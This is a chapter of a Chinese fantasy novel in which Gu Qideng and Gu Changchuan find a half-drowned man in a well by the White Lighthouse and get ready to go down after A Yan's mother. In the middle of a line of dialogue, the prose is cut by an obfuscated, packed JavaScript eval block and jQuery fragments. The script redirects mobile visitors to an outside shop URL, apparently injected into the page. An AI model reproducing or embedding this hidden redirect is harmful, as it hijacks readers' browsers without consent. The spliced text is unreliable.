地窖里安静了片刻。
阿砚抱着膝盖坐在草席上,手里的木牌被捏得发白。那块木牌边缘已经磨得圆润,显然被他摸过很多次。
沈见微先忍不住:“死人还会记得自己是谁?”
顾长川把那片白鳞放在灯边。
“我没看清全貌。”他说,“井壁很滑,水也黑。有人从水里抬头看我,像是想说话。我听见他报了自己的名字。”
“叫什么?”
“太快,没记住。”
顾长舟拿起鳞片闻了闻,手指停在边缘一行小字上。
“这不是鱼鳞。”
“那是什么?”
“灯罩上的碎片。”他说,“里面掺了云母和骨粉。白灯塔底下应该有一层水窖,水窖里泡着许多旧灯。”
沈见微听得脸都皱起来:“你怎么一闻就知道?”
“因为药房以前用云母磨粉,敷烫伤。”顾长舟把鳞片放回桌上,“骨粉不是人的,至少不是新鲜的。”
这话并没有让人安心多少。
阿砚忽然站起来,从墙角翻出一只旧竹篓。竹篓里装着几截短绳、一把生锈的小钩子,还有一盏被布包起来的灯。
“娘亲以前下过井。”他说。
顾栖灯接过那盏灯。
灯很小,白瓷烧得粗糙,底部有一道被火熏黑的裂缝。里面没有灯油,只有半盏干掉的墨。
“这是她的?”
阿砚点头。
“她说井里的人怕忘记名字,让我每天写一个名字进去。”
顾栖灯把灯翻过来。
灯底密密麻麻刻了许多字,最上头的字迹端正,后面越来越潦草,像是在很仓促的时候刻下来的。
曲水守灯人,沈兰烛。
阿兰。
杜明河。
林娘子。
……
后面的字被磨平了大半。
顾栖灯盯着第一个名字看了很久。
顾长川没有催她,只把灯从她手里接过去,替她擦掉灯沿上的灰。他的手腕缠着新换的纱布,动作不太利索,擦了两下,便把布递给顾栖灯。
顾栖灯接过。
“我娘来过这里。”
“嗯。”
“她和阿兰认识。”
“至少见过。”
阿砚听见自己的母亲名字,凑过来问:“她们是朋友吗?”
顾栖灯没有立刻说是。
“我还不知道。”她把小灯放回竹篓,“但她们都做过同一件事。”
“什么?”
“想让人记住自己。”
阿砚若有所思地低下头。
地窖外有水滴落下来,滴答,滴答。天快黑了,白灯塔方向的钟声隔着几条街传进来,沉沉的,像有人把一只空碗扣在桌上。
阿砚脸色一变。
“要换灯水了。”
“每天都有这时候?”顾栖灯问。
“嗯。天黑以后,塔里的人会把白灯拿出来换水。井口那边的人也会少一点。”
顾长川已经把短刀别回腰间。
“我再去看一眼。”
顾栖灯抬头。
他顿了顿,说得比平时慢些:“你们就在这里。井口若有人,我回来;没人,我给你留两短一长。”
“我跟你去。”
“井边地方窄。”
“我不下水。”
顾长川看着她,显然还想再说什么。沈见微在一旁咳了一声,顾长舟低头整理药包,装作没听见。
最后顾长川只道:“跟在我后面。”
“好。”
两人出了地窖。
曲水的夜来得很快。白灯一盏接一盏亮在檐下,街上的人端着水碗往灯塔走。没人说话,脚步却很整齐,鞋底擦过青石板,像一阵细碎的雨。
顾栖灯和顾长川贴着墙根走。
走到塔后时,前方果然有一口井。
井口砌得很高,围了一圈白石。石缝里长满黑苔,几根白线垂进井里,风一吹就轻轻晃。
顾长川先蹲下去,往井里丢了一粒石子。
很久才听见落水声。
“深吗?”顾栖灯问。
“比我刚才看的深。”
“刚才是从哪里看的?”
“西边的排水沟。”
“你没说。”
“我回来得太快。”
顾栖灯看了他一眼。
顾长川知道她在介意什么,低声说:“下次说。”
井下忽然传来一声咳嗽。
两人同时静住。
那声音很轻,像呛了水,又像有人很久没开口,嗓子已经哑了。
顾栖灯走到井边,往下看。
白灯的光照不进深处。她只能看见井壁上潮湿的青苔,看见水面极远处浮着一点白。
“有人吗?”她问。
没有回答。
顾栖灯想了想,从袖中摸出炭笔。她没有纸,便撕下一截衣角,在上面写了几个字:
我们从临江来。
阿砚还记得阿兰。
她把布条系在绳子上,慢慢放下去。
绳子放到一半,忽然被人拽住。
顾长川伸手按住她的手背,示意她别急。
井下的人没有立刻拉走布条。
过了一会儿,绳子轻轻动了三下。
顾栖灯往回收。
布条上多了一行湿漉漉的字,墨迹被水晕开,几乎认不清。
别让阿砚进塔。
顾栖灯的心往下一沉。
她刚要再问,井里传来急促的水声。水面像被什么搅动,白线一齐绷紧。顾长川一把将她拉离井口。
下一刻,一张苍白的脸从水里浮了上来。
那是个中年男人。
他双眼睁着,脸上却没有死气。他张了张口,像想喊什么,喉咙里只涌出黑水。
白线缠在他脖子上,慢慢将他往下拖。
顾栖灯下意识要上前。
顾长川拦住她:“别碰。”
男人在下沉前,手从水面伸出来,指向白灯塔。
他的手背上,也写着字。
塔底。
他沉下去后,井水很快恢复平静。
像什么都没发生过。
顾栖灯站在原地,手里还攥着湿透的布条。
“他活着。”她说。
“嗯。”
“他为什么说不了话?”
“灯水进了肺里,或者白线压着喉咙。”顾长川道,“不管是哪一种,他撑不了多久。”
顾栖灯没有说话。
远处钟声又响了一下。
送灯水的人已经走到塔前。白灯塔底部开了一道小门,穿白衣的人从里面出来,一盏盏收走水碗。
顾长川盯着那道门。
“现在进不去。”
“我知道。”
“塔底有水窖。”
“我知道。”
“栖灯。”
顾栖灯转头。
顾长川的脸被白灯照得很淡。他没有说“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968857|214618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
别去”,也没有替她做判断,只道:“阿砚不能进去。”
“我不会带他。”
“那你呢?”
顾栖灯沉默片刻。
“我得去。”
“好。”
他答得很快。
顾栖灯反而愣住。
顾长川解释了一句:“不是现在。等换灯的人散了,我们从井里下去。”
“你也去?”
“你不是说,多带绳子,多留退路。”
顾栖灯看着他。
“我记得。”
两人回到地窖时,阿砚正趴在墙边写字。
他把自己的名字又写了一遍,写完以后想了想,在旁边添了一句:
阿砚不进塔。
顾栖灯走过去,蹲在他身边。
“这是给谁看的?”
“给明天的我看。”阿砚认真道,“也给我娘看。她要是看见,就知道我听话了。”
顾栖灯喉咙有些发紧。
她伸手把阿砚写歪的最后一笔补好。
“你娘也给我们留话了。”
阿砚抬头。
“她说,别让你进塔。”
“那她呢?”
顾栖灯没有骗他。
“她在里面。我们去找她。”
阿砚的眼眶一下红了。
“我想去。”
“我知道。”
“我不会捣乱。”
“我也知道。”
顾栖灯握住他的手。
“可你留在这里,才能替她记着外头的事。等她出来,你要告诉她,这几天你怎么给我们开门,怎么记住自己的名字,怎么没有被白灯骗走。”
阿砚吸了吸鼻子。
“我能记住吗?”
“能。”
顾栖灯把自己的铜灯放在他面前。
“你若忘了,就看它。里面的灯芯会记得。”
阿砚小心翼翼地碰了碰铜灯,没有再说要去。
顾长舟已经把药包分好。
“井下缺氧,水又冷。这个含在舌下,能撑一会儿;这个撒进水里,白线会松半刻钟。别多,药味太重会惊动塔里的人。”
沈见微把短刃绑在腿侧,问:“我呢?”
“你跟二哥留在井上。”顾栖灯道,“我们若半刻钟没动静,就用绳子拉三下,立刻把人往上拽。”
沈见微不太高兴:“我也能下去。”
“我知道。但上面也要有人。”
沈见微看了她一会儿,最终点头。
“行。你别给我逞强。”
“彼此彼此。”
夜更深时,曲水城终于安静下来。
白灯仍挂在城里,却少了白日那种无处不在的脚步声。顾栖灯和顾长川带着绳子回到井边。
井里黑得看不见底。
顾长川先把绳子缠到腰上,低头试了试结。
“我先下。”
顾栖灯没有和他争。
她只是把另一端绳子也系在自己腰间。
顾长川抬眼。
“你不是说不下水?”
“我改主意了。”
“理由?”
“塔底有人等。”
顾长川看着她,没再劝。
他把药丸递到她掌心,又替她把袖口绑紧。动作很轻,指尖却有些凉。
“跟紧我。”
顾栖灯点头。
井下的水声很轻。
像有人在黑暗里,一遍又一遍地念着自己的名字。